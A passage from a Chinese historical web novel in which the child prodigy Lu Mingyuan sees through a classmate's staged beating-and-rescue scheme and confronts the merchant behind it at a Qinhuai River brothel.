严和同脸上带着一丝恰到好处的惊喜,“真是巧了,小弟也正想去查阅几本典籍。” 他将手中的狼毫笔双手奉还。 “今日多谢陆兄解围,此笔,和同已清洗干净,完璧归赵。” “区区小事,何足挂齿。” 陆明渊接过笔,笑道,“严兄方才在课堂上的一番高论,倒是让明渊佩服不已。” “陆兄谬赞了。” 严和同连忙摆手,脸上带着几分谦逊的赧然。 “不过是些拾人牙慧的浅见,当不得陆兄‘佩服’二字。倒是陆兄,以十岁之龄,便能写出那等经天纬地之策论,实乃我辈读书人之楷模。” 他的姿态放得很低,言语间满是真诚的推崇,让人听着十分舒服。 陆明渊对这些吹捧之词早已免疫,只是淡淡一笑。 “虚名罢了。你我皆是求学之人,不如一同进去,在书中寻求真知,如何?” “固所愿也,不敢请耳!” 严和同眼中一亮,欣然应允。 两人并肩走进了那座散发着千年墨香的藏书阁。 阁楼内寂静无声,只有偶尔响起的翻动书页的沙沙声。 陆明渊与严和同各自寻了一处靠窗的位置坐下,很快便沉浸在了浩瀚的书海之中。 一个时辰,两个时辰…… 夕阳西下,余晖将整座藏书阁染成了一片温暖的橘红色。 陆明渊合上最后一本书,长长地舒了一口气,只觉得神清气爽。 他抬起头,不经意间,目光落在了不远处的严和同身上。 第134章 绝不会让你再去受半点委屈! 陆明渊,并未直接回总督府。 贡院的后院,有一片开阔的演武场,专供学子们修习“六艺”中的射、御之术。 大乾朝虽以文立国,却也并未完全摒弃武备,科举之中,骑射亦是考量士子体魄与心性的重要一环。 此刻的陆明渊,正站在靶场前。 他手中握着一张与他身高并不相称的角弓,神情专注,双臂沉稳。 “嗡——” 弓弦震响,如龙吟出渊。 一支羽箭破空而去,带着尖锐的呼啸,精准地钉在了五十步外靶心的红点上,箭羽兀自微微颤动。 不远处,几名正在练习的年长学子纷纷侧目,眼中满是惊异。 五十步的距离,寻常学子能上靶便已不错,正中红心,非数年苦功不可。 而这个十岁的神童,竟信手拈来。 陆明渊并未理会旁人的目光,只是静静地感受着每一次拉弓、撒放时,肌肉的牵引与心神的合一。 射艺之后,便是御艺。 他牵过一匹性情温顺的枣红马,翻身而上,动作干净利落。 没有策马狂奔,只是绕着马场缓缓踱步,感受着马匹的呼吸与节奏。 夕阳将他的影子拉得很长,一个十岁的少年,在空旷的演武场上,挽弓策马,竟透出一种与年龄不符的从容与老练。 直到夜色彻底笼罩大地,他才牵着马回到马厩,洗漱一番后,乘着总督府的马车,回到了那座威严的府邸。 …… 与此同时,江宁府最繁华的秦淮河畔,灯火如昼,笙歌彻夜。 画舫穿梭,丝竹之声不绝于耳,空气中都弥漫着脂粉与酒气的甜腻味道。 严和同穿着那身洗得发白的儒衫,走在这片浮华之地,显得格格不入。 怡红楼,是这秦淮河畔最负盛名的销金窟。 他站在那座灯火辉煌的三层木楼前,看着门口迎来送往的龟公,看着那些锦衣华服的公子哥们一掷千金,眼中的挣扎之色更浓。 最终,他还是咬了咬牙,走了进去。 一名眼尖的龟公立刻迎了上来,脸上堆着职业化的笑容。 正要开口,却在看清严和同的穿着后,笑容顿时淡了三分,多了几分不耐。 “这位公子,走错地方了吧?这里可不是喝清茶的地方。” 严和同没有理会他的轻慢,只是从怀中掏出了一块小小的木牌,递了过去。 龟公狐疑地接过,只看了一眼,脸色骤变,那份不耐瞬间化为谄媚与敬畏。 他连忙躬下身子,将木牌双手奉还,声音都变得谦卑起来。 “原来是严公子,小的有眼不识泰山,您里边请,里边请!” 说罢,便亲自在前面引路,不再走那喧闹的前堂,而是穿过一条僻静的回廊,来到一处雅致的后院。 院内种着几竿翠竹,一池睡莲,与前堂的喧嚣奢靡判若两人。 龟公将他引到一间厢房门口,便识趣地退下了。 严和同整理了一下衣衫,推开那扇雕花的木门,走了进去。 屋内的陈设极为雅致,紫檀木的桌椅,墙上挂着名家字画,空气中飘散着淡淡的龙涎香,闻之令人心神安宁。 一个身着素雅长裙的女子,正静静地立在窗边,身姿窈窕,眉目如画,正是怡红楼的花魁,含香。 她看到严和同进来,眼中闪过一丝喜悦与担忧,却不敢上前,只是乖巧地站在一旁。 因为在主座上,还坐着一个人。 一个穿着华贵绸衫,体态微胖的中年男人,正悠哉游哉地端着一杯香茗,细细品味。 正是江宁首富,林万三。 他听到开门声,缓缓抬起眼皮,看到走进来的严和同,脸上露出一抹意味深长的笑容。 “严公子来了。” 他放下茶杯,慢悠悠地说道。 “含香姑娘可真是好福气,能遇到严公子这般的妙人。” “冲冠一怒为红颜,肯为了她,拼上自己的前程性命,林某……羡慕得紧呐!” 严和同的脸上没有丝毫表情,对于林万三这番话,他仿若未闻。 他走到桌边,自顾自地坐下,声音冷得像一块冰。 “事情办妥了。” “哦?” 林万三饶有兴致地挑了挑眉。 “今日,我与陆明渊已经搭上了话。” “他对我并无恶感,甚至,还有几分寒门学子间的惺惺相惜。这第一步,算是成了。” “接下来,便按计划行事。让赵彦那个蠢货,去寻我们两次麻烦,不必下重手,只需言语挑衅,姿态跋扈即可。” “读书人的事情,要用读书人的方式来解决。两次之后,陆明渊心中定然会对我生出同情与维护之意。” “然后,寻一个天黑无人的时机,让赵彦的家丁,将我狠狠打一顿。” “陆明渊此人,看似沉稳,实则内心自有傲骨与侠气。见我因他受辱,必然会出手相助。届时,我再顺水推舟,与他结为至交好友,便如探囊取物。” “有了这份情谊做铺垫,再寻个机会,‘偶遇’威远侯世子,由我从中引荐,大事可成。” 一番话说完,整个房间都安静了下来。 “啪!啪!啪!” 林万三抚掌大笑,连声叫好:“好!好一个苦肉计!好一个连环计!” “严公子,你这脑子,若是不用在科举上,来帮我林某人做生意,不出十年,这江宁府的商界,便是你我二人的天下!” 他站起身,走到严和同身边,语气中带着一丝蛊惑。 “你放心,这怡红楼,我昨日已经盘下来了。从今天起,含香姑娘便不用再登台献艺,更不必去应酬那些腌臜的客人。她就在这后院里,静静地等着你。” “只要你帮威远侯世子搭上陆明渊这条线,你的任务,便算完成了。” 林万三的笑容变得愈发和煦。 “作为谢礼,林某会亲自为含香姑娘脱去乐籍,还她一个自由身。” “另外,这里是三千两的银票,足够你们二人寻一处山清水秀之地,做一对逍遥自在的富家翁了!” 他说着,从怀中掏出一叠厚厚的银票,放在了桌上。 “好好做,林某,等你的好消息。” 林万三说完,深深地看了严和同一眼,又瞥了一眼旁边脸色煞白的含香,这才大笑着转身离去。 房门被关上,隔绝了外界的一切。 屋内,只剩下沉默。 许久,含香才迈着小碎步,走到严和同身边,从背后轻轻地抱住了他。 她的身体在微微颤抖,泪水无声地滑落。 “和同……我们,我们算了吧……” 她的声音带着哭腔,充满了哀求。 “我不要什么自由身,也不要那三千两银子。我……我慢慢攒,我拼命地攒钱,总有一天能攒够赎身的银子。” “我出去了,我们就离开江宁府,去一个没人认识我们的地方,好不好?” “你不要再做这些事了,我害怕……我真的害怕……” 感受到怀中人的颤抖,严和同那颗冰冷坚硬的心,仿佛被什么东西狠狠地刺了一下。 他缓缓转过身,将含香紧紧地拥入怀中,用他那粗糙的手,轻轻擦去她脸上的泪水。 他的眼中,满是化不开的心疼与愧疚。 他的声音终于有了一丝温度,却沙哑得厉害。 “我怎么能让你去攒钱?怎么能让你继续留在这虎狼之地,对着那些腌臜之辈陪酒赔笑?” 他捧起她的脸,一字一句,郑重地说道。 “含香,你信我。既然我有能力让你一步登天,过上人人羡慕的好日子,就绝不会让你再去受半点委屈。” “等这件事了了,我们就离开。我保证,一定让你风风光光地走出这道门,做我严和同名正言顺的妻子!” 他的话语中,带着一种不容置疑的决绝,那是一种赌上了一切的疯狂。 …… 林府,书房。 烛火通明,陆明渊恭敬地站在书案前。 林瀚文手中拿着一本陆明渊今日所写的课业札记,看得十分仔细。 “《春秋》之学,贵在经世致用。你这篇札记,能从‘公羊’之‘大复仇’,论及朝廷对边疆之策,见解独到,立意深远,不错。”林瀚文放下札记,满意地点了点头。 他考教了陆明渊几句经义,见他皆对答如流,且比三日前更多了几分沉淀与厚重,心中更是欣慰。 “今日回贡院,可还习惯?” 林瀚文换上了一副温和的语气,如同一个寻常长辈,关心着晚辈的生活。 “一切都好。” 陆明渊躬身答道,“只是学生有一事,想请教老师。” “哦?说来听听。” “学生今日结识了一位同窗,名为严和同,乃是去年院试的第三名。” 陆明渊将白日里课堂上以及藏书阁中的事情,简略地说了一遍。 “学生观其言行,此人虽出身寒微,却胸有丘壑,才学不凡,且为人谦逊有礼,是个可交之人。” 林瀚文听完,捋了捋胡须,眼中露出一丝赞赏。 “严和同……本抚知道此人。去岁院试,他的文章便颇受学政大人的赏识。” “都说寒门难出贵子,他能走到今日,实属不易。” 他看着陆明渊,温和地笑道。 “你如今声名在外,寻常学子见你,或嫉妒,或谄媚,难有平常心。” “这严和同既有才学,又能不卑不亢,你与他多加接触,相互砥砺学问,也是一桩好事。” “为师不在府中,你一人求学,若能有个志同道合的朋友,也能少些孤单。” “学生明白了。” 陆明渊点了点头。 第135章 你觉得,这是一场为你设下的局 等到陆明渊的身影消失在书房门口,林瀚文脸上的温和笑意才如潮水般缓缓退去。 他静坐了片刻,手指在书案上轻轻叩击。 “文龙。” 他淡淡地开口。 “大人。” 沈文龙躬身行礼。 “去查一个人。” “江宁府贡院的生员,严和同。去年院试的第三名。” “查他什么?” “所有。” 林瀚文收回目光,眼神变得锐利起来。 “他的家世背景,人际往来,平日里的喜好,最近接触过什么特别的人,去过什么不该去的地方……事无巨细,我都要知道。” “是。” 沈文龙没有多问一个字,再次躬身。 书房内恢复了寂静,只剩下烛火燃烧时发出的轻微“噼啪”声。 林瀚文拿起一本来自京城的奏报,目光重新变得专注而深邃。 这江宁府,乃至整个大乾的棋盘,远比一个十岁孩童眼中所见的要复杂得多。 他既然将陆明渊收为弟子,便有责任为他扫清前路上那些不必要的荆棘。 …… 接下来的十余日,日子过得平静而充实。 对于陆明渊而言,贡院的求学生涯,多了一抹别样的色彩。 严和同,这个出身贫寒的少年,果真如他所表现出的那般,成为了陆明渊在贡院中唯一能说得上话的人。 他们会在课后,寻一处僻静的角落,就《春秋》中的一处“微言大义”争论得面红耳赤,最终却又相视一笑,各自叹服对方的见解。 他们也会在藏书阁中,并肩而坐,一看便是一个下午。 偶尔,陆明渊也会拉着严和同,走出贡院那四四方方的围墙。 他们不去秦淮河畔那些销金窟,不去那些文人雅士附庸风雅的茶楼,而是会钻进一条不知名的小巷,寻一个烟火气十足的馄饨摊。 两碗热气腾腾的骨汤馄饨,撒上碧绿的葱花和紫菜,再滴上几滴香醋。 严和同总是吃得很快,像是饿了许久,却又带着一丝读书人特有的斯文。 而陆明渊则会慢慢地品尝,听着身边小贩的吆喝声,看着巷子里孩童的追逐打闹,感受着这俗世红尘最真实、最鲜活的气息。 “明渊,你这般身份,竟也喜欢这些市井之食?” 一次,严和同放下碗,有些不好意思地擦了擦嘴。 “人间烟火气,最抚凡人心。” 陆明渊笑了笑,将自己碗里剩下的半碗推了过去。 “我自幼在乡野长大,这些味道,比那些山珍海味更让我心安。和同兄若是不嫌弃,便帮我解决了它。” 严和同看着那半碗馄饨,愣了愣,随即眼眶微微有些发红,他没有推辞,默默地接过来,一口一口,吃得格外认真。 陆明渊静静地看着他,心中却是一片清明。 这十余日的相处,严和同的表现堪称完美。 他谦逊有礼,学识渊博,偶尔会流露出寒门子弟的自卑与敏感,却又很快被自身的傲骨所掩盖。 他对自己,有敬佩,有亲近,却无半点谄媚。这份情谊,真挚得找不出一丝破绽。 若非陆明渊是带着两世的灵魂在审视着这一切,恐怕早已将他引为生平第一知己。 可越是完美,便越是说明其背后的不寻常。 两人如往常一般,从贡院出来,准备去城南那家新开的书肆看看有没有什么孤本善本。 刚拐过一条僻静的巷子,前方的路便被几个人堵住了。 为首的,正是那个在课堂上被陆明渊驳斥过的赵彦。 他身边还跟着四五个家丁打扮的壮汉,一个个歪着头,斜着眼,满脸的横肉与不善。 “哟,这不是我们江宁府鼎鼎大名的陆神童,和他的跟屁虫严案首吗?” 赵彦摇着一把骚包的折扇,阴阳怪气地说道。 严和同的脸色瞬间白了,他下意识地将陆明渊护在身后,对着赵彦拱手道。 “赵公子,我与明渊还有要事,还请行个方便。” “方便?” 赵彦像是听到了什么天大的笑话,哈哈大笑起来。 “严和同,你算个什么东西?一个穷酸秀才,也配跟本公子讲方便?我告诉你,今天这路,就是为你堵的!” 他用扇子指着严和同的鼻子,一脸鄙夷。 “你这种泥腿子,就该好好在泥里待着,非要削尖了脑袋往上爬,还妄想攀上陆神童这棵高枝?也不撒泡尿照照自己,配吗?” “赵彦,你……” 严和同气得浑身发抖,读书人的清高让他无法说出什么污言秽语,一张脸涨成了猪肝色。 陆明渊自始至终都没有说话,只是冷冷地看着赵彦。 “看什么看?”赵彦被那眼神看得心虚,恼羞成怒地吼道。 “给我打!把这个不知天高地厚的穷酸给我往死里打!让他知道知道,有些人,是他一辈子都高攀不起的!” 话音刚落,几个家丁便如狼似虎地扑了上来。 他们的目标很明确,完全绕开了陆明渊,拳脚雨点般地落在了严和同的身上。 严和同虽有几分力气,但终究是个文弱书生,如何是这些打手们的对手? 他死死地护住头脸,蜷缩在地上,发出痛苦的闷哼。 陆明渊站在一旁,双拳紧握。 这出戏,演得太拙劣了。 赵彦的挑衅,家丁的殴打,都精准地避开了自己,目标明确得仿佛生怕伤及无辜。 那么,接下来,该是“救驾”的人登场了。 果不其然,就在此时,巷子口传来一声怒喝。 “住手!光天化日之下,竟敢当街行凶,还有没有王法了!” 众人循声望去,只见一个身着锦衣的华服少年,带着七八个护卫,大步流星地走了过来。 那少年约莫十五六岁的年纪,面如冠玉,目若朗星,眉宇间带着一股与生俱来的贵气与傲然。 赵彦看到来人,脸色骤变,嚣张的气焰顿时矮了半截,结结巴巴地道。 “世……世子爷,您怎么来了?” “本世子若不来,岂不是要让你这蠢货,在这江宁府翻了天?” 那锦衣少年冷哼一声,一脚将赵彦踹了个趔趄。 “滚!带着你的狗,立刻从我眼前消失!再让我看到你仗势欺人,我打断你的腿!” “是,是,是!” 赵彦如蒙大赦,连滚带爬地带着家丁们溜之大吉。 锦衣少年这才走到蜷缩在地的严和同身边,亲自将他扶了起来,语气温和地问道。 “这位兄台,你没事吧?” 严和同挣扎着站起身,身上已是青一块紫一块,嘴角还挂着血丝,他对着少年深深一揖。 “多谢公子出手相救,在下严和同,感激不尽。” “举手之劳,何足挂齿。” 少年摆了摆手,目光转向了一旁的陆明渊,眼中闪过一丝恰到好处的惊讶与欣赏。 “这位是?” 陆明渊上前一步,不卑不亢地拱手道。 “江临县,陆明渊。还未请教公子高姓大名。” “不敢当,” 少年爽朗一笑,“在下李玄贞,家父威远侯。” 威远侯世子! 陆明渊心中冷笑,脸上却露出几分感激之色。 “原来是世子殿下,今日之事,多亏殿下仗义出手,我与和同兄感激不尽。” 严和同也在一旁附和道。 “是啊,世子殿下,今日若非您,我……我恐怕……”他说着,又剧烈地咳嗽起来。 “世子殿下大恩,我与明渊无以为报。” “不如就由我做东,在前面的望江楼摆上一桌,聊表谢意,还望世子殿下赏光!” 严和同捂着胸口,一脸诚恳地说道。 “这……”李玄贞故作迟疑。 “还请世子殿下务必赏光!” 严和同再次请求,态度坚决。 李玄贞见状,这才“勉为其难”地点了点头。 “既然二位如此盛情,那在下便却之不恭了。” 三人一行,朝着江宁府最有名的酒楼——望江楼走去。 望江楼的雅间内,酒过三巡,菜过五味。 李玄贞谈吐不凡,上至朝堂大政,下至坊间趣闻,无一不通,言语间既有侯门世子的气度,又不乏江湖儿女的豪爽,很能拉近与人的距离。 严和同则扮演着一个完美的陪衬角色,时而引经据典,时而感慨时事,将气氛烘托得恰到好处。 唯有陆明渊,话不多,只是不停地举杯。 “世子殿下高义,我敬您一杯!” “和同兄受惊了,这杯酒,为你压惊!” “今日能结识世子殿下这般英雄人物,实乃三生有幸,满饮此杯!” 他年纪虽小,说出的话却老成得体,让人无法拒绝。 李玄贞和严和同本就存着与他拉近关系的心思,自然是来者不拒。 两世为人的灵魂,加上远超常人的心智,让陆明渊对酒桌上的门道了如指掌。 他总能用最恰当的理由,让对方将杯中酒一饮而尽,而自己却只是浅尝辄止。 一个时辰后,雅间内,李玄贞已经趴在桌上,口中胡乱地喊着什么。 严和同也已是面红耳赤,眼神迷离,靠在椅子上人事不醒。 陆明渊放下酒杯,眼神清澈如初。 他站起身,走到门口,叫来店里的掌柜。 “掌柜的,这两位公子喝多了。” 他从怀中掏出一锭五两的银子,放在掌柜手中。 “劳烦您开两间上好的客房,再找两个机灵的小二,将他们好生安顿下来。剩下的钱,便给小二们喝茶了。” “哎哟,陆案首您放心,小的一定办得妥妥帖帖!” 掌柜的接过银子,笑得合不拢嘴。 安排好一切,陆明渊走出望江楼,夜风微凉,吹在脸上,让他本就清醒的头脑更加清晰。 他没有片刻耽搁,直接登上了总督府的马车,径直返回。 …… 林府,书房。 林瀚文正在灯下批阅公文,听到下人通报陆明渊求见,眼中闪过一丝讶异。 这个时辰,他不是应该在温书苦读吗? “让他进来。” 陆明渊走进书房,恭敬地行了一礼。 “老师。” “明渊,这么晚了,有事?”林瀚文放下手中的笔。 “学生有要事禀报。” 陆明渊没有丝毫隐瞒,将今日下午发生的事情说了一遍。 第136章 是我忘恩负义!是我对不起你! 翌日清晨,贡院的晨光熹微,将一切都染上了一层淡淡的金色。 陆明渊没有去课室,而是径直走到了藏书阁旁的一片竹林。 他知道,严和同每日清晨都会在这里诵读。 果不其然,穿过几丛翠竹,便看到了那个熟悉的身影。 严和同正背对着他,手捧一卷书,摇头晃脑,声音清朗。 只是那背影,在晨光中却显得有几分萧索与僵硬。 他的精神似乎并不像他的声音那般专注,眼下有着淡淡的青黑,显然是一夜未眠。 陆明渊没有出声,只是静静地站在那里。 风过竹林,沙沙作响。 那诵读声渐渐低了下去,最终归于沉寂。 严和同缓缓转过身,看到陆明渊时,脸上闪过一丝复杂难明的情绪,有惊讶,有慌乱。 但更多的,是一种如释重负般的苦涩。 “陆兄……你来了。” 他的声音有些沙哑。 “我来了。” 陆明渊的语气很平静。 他走上前,与严和同并肩而立,目光落在远处贡院那高高的飞檐上。 “和同兄,昨日之事,你不觉得太过巧合了吗?” 严和同的身子猛地一颤,握着书卷的手指因用力而微微泛白。 他张了张嘴,似乎想说什么,却终究一个字也未能吐出。 陆明渊没有看他,声音依旧平淡。 “赵彦的挑衅,恰到好处;威远侯世子的出现,恰如其分。” “一出英雄救美的戏码,演得天衣无缝。只是,这戏是演给谁看的?又是谁写的这出戏本?” “我……” 严和同的脸色变得苍白如纸,额头上渗出了细密的汗珠。 “和同兄,你我相识虽短,但我一直将你引为知己。” 陆明渊终于转过头,那双清澈的眸子,此刻却锐利如刀,仿佛能洞穿人心。 “你若是有难处,大可以直接与我说。我陆明渊人微言轻,或许帮不上什么大忙,但我身后,还有我的老师。” “在这江宁府,乃至整个江苏,只要我老师愿意出面,我想,还没有什么事情是解决不了的。” “可你没有。” 陆明渊的语气中带上了一丝失望。 “你选择用这样一种方式,将我引入局中。那么,你的目的,究竟是我,还是我身后的林总督?” “若是为了后者,那我劝你大可不必白费力气。” 他的声音陡然转冷。 “我老师宦海沉浮数十载,见过的阴谋诡计,比你我读过的圣贤书还要多。你这点伎俩,在他眼中,不过是小儿的游戏,可笑至极!” 一番话,如重锤般一字一句地砸在严和同的心上。 他脸上的血色瞬间褪尽。 “扑通”一声。 严和同双膝一软,竟直直地跪了下去,手中的书卷滚落在地。 “陆兄……我对不起你!” 他再也无法抑制内心的羞愧与痛苦,一个十五岁的少年,此刻竟像个无助的孩子,涕泪横流。 “我……我不是有心的!我实在是……实在是身不由己啊!” 他哽咽着,断断续续地将事情的原委说了出来。 原来,一切的根源,都在于一个名叫“含香”的姑娘。 那是秦淮河畔怡红楼中的一名清倌人。 数年前,严和同初到江宁府求学,盘缠用尽,又染了风寒,饥寒交迫之下晕倒在街头。 是那位含香姑娘路过,心生怜悯,不仅给了他银两看病,还时常托人送些吃食,这才让他熬过了最艰难的日子。 在严和同心中,含香姑娘是他的救命恩人,也是他遥不可及的梦。 而就在前些时日,有人找到了他,用含香姑娘的安危来威胁他,要他配合演一出戏,将陆明渊引荐给威远侯世子李玄贞。 “他们说……只要我办成了这件事,就替含香姑娘赎身,让她脱离苦海……” 严和同泣不成声。 “我……我一时糊涂,便答应了他们……明渊,我不是想害你,我真的不是故意的!” 陆明渊静静地听着,脸上没有任何表情。 等到严和同哭声渐歇,他才发出一声极轻的嗤笑,那笑声在这清晨的竹林里,显得格外刺耳。 “救命之恩,当舍命相报,听起来倒也算是一段佳话。” 他弯下腰,捡起地上的书卷,轻轻拍去上面的尘土。 “只是,和同兄,你为了还她的命,便要拿我的命去填吗?” 陆明渊的声音不大,却字字诛心。 “那我陆明渊的命,便不是命了?” “若是他们的计谋,并非只是结交,而是要害我于不义,置我于万劫不复之地,你便不觉得有半分对不起我吗?” “你用我的前程,我的性命,去换你心上人的自由。严和同,你的圣贤书,读到哪里去了?” “我……” 严和同被问得哑口无言,羞愧得无地自容。 他猛地抬起手,狠狠地给了自己一个耳光,清脆的响声在林中回荡。 “明渊兄说的是!是我……是我猪狗不如!” 他伏在地上,额头抵着冰冷的石板,声音里充满了绝望。 “是我利欲熏心,是我忘恩负义!是我对不起你!” “事已至此,多说无益。我严和同今生只能对不起一个人了……” 他抬起通红的双眼,眼中闪过一丝决绝。 “今生欠陆兄的,我来生做牛做马再还!只求你……求你不计前嫌,帮我救含香姑娘出那怡红楼!” “从今往后,我严和同这条命,就是你的!” “你的命?” 陆明渊居高临下地看着他,眼神中满是不屑。 “你的命于我何用?我不需要一个为了女人就能出卖朋友的人。” 严和同浑身一僵,面如死灰。 陆明渊将书卷递还给他,语气缓和了些许。 “我需要知道的,是幕后主使。是谁,利用含香姑娘来威胁你?又是谁,导演了昨天那场拙劣的戏码?” 严和同愣愣地看着他,一时没能反应过来。 陆明渊直起身,掸了掸衣袖上并不存在的灰尘。 “带我去怡红楼。” “什么?” 严和同震惊地抬起头。 “他们费尽心机,弄出这么一出愚蠢的计谋,不就是想让我去见他们一面吗?” 陆明渊的嘴角勾起一抹冷峭的弧度,“既然如此,我便去一趟又何妨?” “我倒要看看,这威远侯世子,究竟想做什么!” 他的话语中,带着一种与年龄极不相符的沉稳与霸气。 严和同彻底懵了,他完全无法理解陆明渊的思路。 一个十岁的孩子,要去闯那龙潭虎穴? “可是……陆兄,那里……那里不是我们该去的地方,而且太危险了!”他急忙劝道。 “危险?” 陆明渊笑了笑,“走吧。” 他说完,便转身向贡院外走去。 严和同看着他那小小的背影,只觉得那身影在晨光中竟显得无比高大。 他咬了咬牙,从地上一跃而起,也顾不得拍去膝上的尘土,踉踉跄跄地跟了上去。 两人一前一后走出贡院的大门。 几乎是同时,街角处,两个身形壮硕的汉子便不紧不慢地跟了上来,正是阿大和阿二。 而在更远处,茶楼的二楼窗口,屋顶的阴影之下,几道更为隐晦的目光,也牢牢地锁定在了陆明渊的身上。 那是林瀚文派出的暗卫,是总督府真正的精锐。 这一切,便是陆明渊的底气。 昨日他将所有事情和盘托出后,老师林瀚文沉吟良久,最终没有选择亲自出手,而是将处理这件事的权力,交给了他。 第137章 你挡得住一次,挡得住十次吗? 秦淮河畔,自古便是温柔乡,英雄冢。 白日里的秦淮河,褪去了夜晚的旖旎与喧嚣,像是一位洗尽铅华的美人,多了几分慵懒的韵味。 画舫静静地泊在岸边,红色的灯笼在檐下轻轻摇晃。 昨夜的酒气与脂粉香尚未完全散尽,与河上氤氲的水汽混杂在一起,形成一种靡靡而又真实的人间烟火气。 严和同走在陆明渊身侧,头埋得极低。 他的脚步虚浮,脸色苍白,每靠近那座闻名江宁的怡红楼一步,他那份读书人的傲骨,便消磨了几分。 陆明渊却走得很稳。 他看着那些画舫,看着河边的垂柳,看着酒楼茶肆里早起的伙计,眼神平静无比。 阿大和阿二如两座铁塔,不远不近地跟在后面。 他们没有穿总督府的制服,只是一身寻常的短打劲装。 但那股子从尸山血海里磨砺出来的煞气,却让四周一些不怀好意的目光悄然收敛。 怡红楼的朱漆大门前,几个龟公正在无精打采地扫着地。 见到三人走来,尤其是为首的那个孩子,本想上前呵斥几句。 但目光一触及后面的阿大阿二,那呵斥的话便卡在了喉咙里,化作了谄媚的笑容。 “几位爷,是来听曲儿还是……” 严和同嘴唇哆嗦,说不出话来。 陆明渊淡淡地瞥了那龟公一眼,道:“找人,含香姑娘。” 听到“含香姑娘”这个名字,那龟公脸上的笑容猛地一僵,随即变得更加恭敬,甚至带上了一丝畏惧。 他连忙躬下身子,做了个“请”的手势。 “原来是含香姑娘的贵客,小的有眼不识泰山,几位爷里面请,里面请!” 怡红楼的内里,远比外面看起来要大得多,亭台楼阁,曲径通廊,竟是一座精致的园林。 只是这园林中,少了些清雅,多了些俗艳。 龟公不敢多言,低着头在前面引路,将他们带到了一处僻静的后院。 院中种着几竿修竹,一座两层的小楼掩映其中,门楣上挂着一块匾额,上书“含香阁”三字。 “爷,含香姑娘就在里面。” 龟公点头哈腰地说道。 陆明渊挥了挥手,示意他退下。 他对阿大和阿二道:“你们在外面等着。” “少爷……”阿大有些迟疑。 “无妨。”陆明渊的语气不容置喙。 阿大和阿二对视一眼,不再多言,一左一右,如两尊门神般守在了阁楼门口。 陆明渊看了一眼身旁几乎要瘫软下去的严和同,平静道。 “走吧,去见见你的恩人,也见见我的‘敌人’。” 严和同深吸一口气,像是奔赴刑场一般,跟在陆明渊身后,推开了那扇虚掩的门。 阁楼内光线柔和,空气中弥漫着一股淡淡的檀香,压过了秦淮河畔的脂粉气。 厅堂布置得极为雅致,名人字画,博古花瓶,一应俱全。 若非知晓此地是何所在,多半会以为是哪位大儒的书斋。 一个身着月白色儒袍的中年男子,正坐在一套紫檀木的茶台后,神情专注地摆弄着茶具。 他的动作行云流水,赏心悦目,显然是此道高手。 而在他身旁,俏生生立着一位女子。 她身穿一袭素雅的绿裙,未施粉黛,却难掩其清丽的容颜。 只是她眉宇间带着一抹挥之不去的忧愁,眼神黯淡,双手紧张地绞着衣角。 看到严和同进来,她的身体微不可查地颤抖了一下,随即又飞快地垂下眼帘。 她便是含香。 严和同的目光死死地黏在含香身上,眼中情绪翻涌,有爱慕,有愧疚,有痛苦,更有无尽的自责。 他想要开口,喉咙却像是被什么东西堵住了一样。 那中年男子,自然就是林万三。 他仿佛没有看到进来的两人,依旧不疾不徐地烫杯、置茶、冲泡。 直到第一缕茶香袅袅升起,他才抬起头,脸上带着温和的笑意。 “陆小爵爷,请坐。” 他的目光越过严和同,直接落在了陆明渊身上。 陆明渊坦然地走到他对面坐下,神情自若。 林万三对含香点了点头。 含香端起第一杯冲泡好的茶,莲步轻移,走到陆明渊面前,双手奉上。 她的手在微微颤抖,茶水在杯中漾起细小的波纹。 严和同看到这一幕,双拳瞬间攥紧,指甲深深地嵌入了掌心。 他心目中的最爱,此刻却像个侍女一样,为别人奉茶。 这比杀了他还要难受。 他猛地想开口说些什么,却被林万三一个淡漠的眼神扫过。 林万三亲自起身,从含香手中接过了第二杯茶。 他缓步走到陆明渊面前,将那杯琥珀色的茶汤轻轻放在他面前的桌上。 “陆小爵爷,请用茶。这雨前龙井,是今年的新茶,周知道特意送来的。” 陆明渊看着面前那杯热气氤氲的茶,没有动。 时间仿佛在这一刻静止了。 林万三脸上的笑容不变,含香的呼吸变得急促,严和同的额头渗出了冷汗。 过了足足有五六个呼吸的时间,陆明渊才缓缓伸出手,端起了那只青瓷茶盏。 林万三的眼中闪过一丝赞许。 然而,陆明渊只是将茶盏端起,又轻轻地放回了桌上,发出一声清脆的微响。 他没有喝。 “林先生。” “明人不说暗话。你费了这么大的力气,布下这么一个局,究竟想要做什么?” 林万三脸上的笑容终于收敛了几分,他坐回原位,微微颔首,目光却瞥向了阁楼的大门口。 “陆小爵爷快人快语,那林某也就不绕弯子了。” 他伸手指了指门外,“爵爷可知,您身后那两位,是什么来头?” 陆明渊面无表情。 “他们是总督府的护卫。” 林万三自问自答,声音压低了几分。 “能让林总督将贴身护卫派出来保护,足见爵爷在总督大人心中的分量。” 他端起自己的茶杯,轻轻抿了一口,才慢悠悠地说道。 “我想要的,或者说,我们想要的,当然是爵爷您身后的……巡抚大人。” 这个答案,在陆明渊的意料之中。 “所以,昨天那场戏,是为了引我见威远侯世子。今天这场茶,又是为了什么?” 陆明渊问道。 “爵爷果然聪慧。” 林万三抚掌一笑。 “不瞒您说,这次的围猎计划,并非林某的手笔。是有人想请我帮个忙,搭个线。” “至于是谁,想必爵爷昨天已经见到了。” 他顿了顿,看着陆明渊,眼中闪过一丝莫名的意味。 “现在,我的任务算是完成了一半,将爵爷您‘请’到了这里。还剩下另外一半,不知道爵爷想不想见一见?” 陆明渊的眉头微微蹙起。 就在他愣神的瞬间,林万三轻轻地拍了拍手。 “啪!啪!” 清脆的掌声在安静的厅堂内回响。 侧面的珠帘被一只纤纤素手轻轻拨开,一个少女的身影,从帘后缓缓走了出来。 那一瞬间,仿佛整个厅堂的光线都为之一亮。 少女约莫十二三岁的年纪,身段窈窕,眉目如画,肌肤胜雪。 她穿着一身淡粉色的罗裙,裙摆上绣着几朵含苞待放的桃花,随着她的走动,仿佛有花香在空气中弥漫。 她的美,是一种经过精心雕琢、毫无瑕疵的美。 一颦一笑,一步一摇,都仿佛用尺子量过一般,精准地踩在了最能动人心弦的点上。 但最引人注目的,是她的眼睛。 那是一双极为美丽的眸子,黑白分明,清澈如水。 但水底深处,却是一片死寂的空洞,没有任何情绪,像是一尊精美绝伦的人偶。 她走到厅堂中央,对着陆明渊盈盈一拜,动作标准的可以写入教科书。 “奴家若雪,见过陆爵爷。” 她的声音如黄莺出谷,清脆悦耳,却同样不带一丝感情。 严和同已经看呆了。 他从未见过如此美丽的女子,即便是他心心念念的含香,在这少女面前,也黯然失色。 陆明渊的目光却很冷,转头看向林万三。 “这是什么意思?” 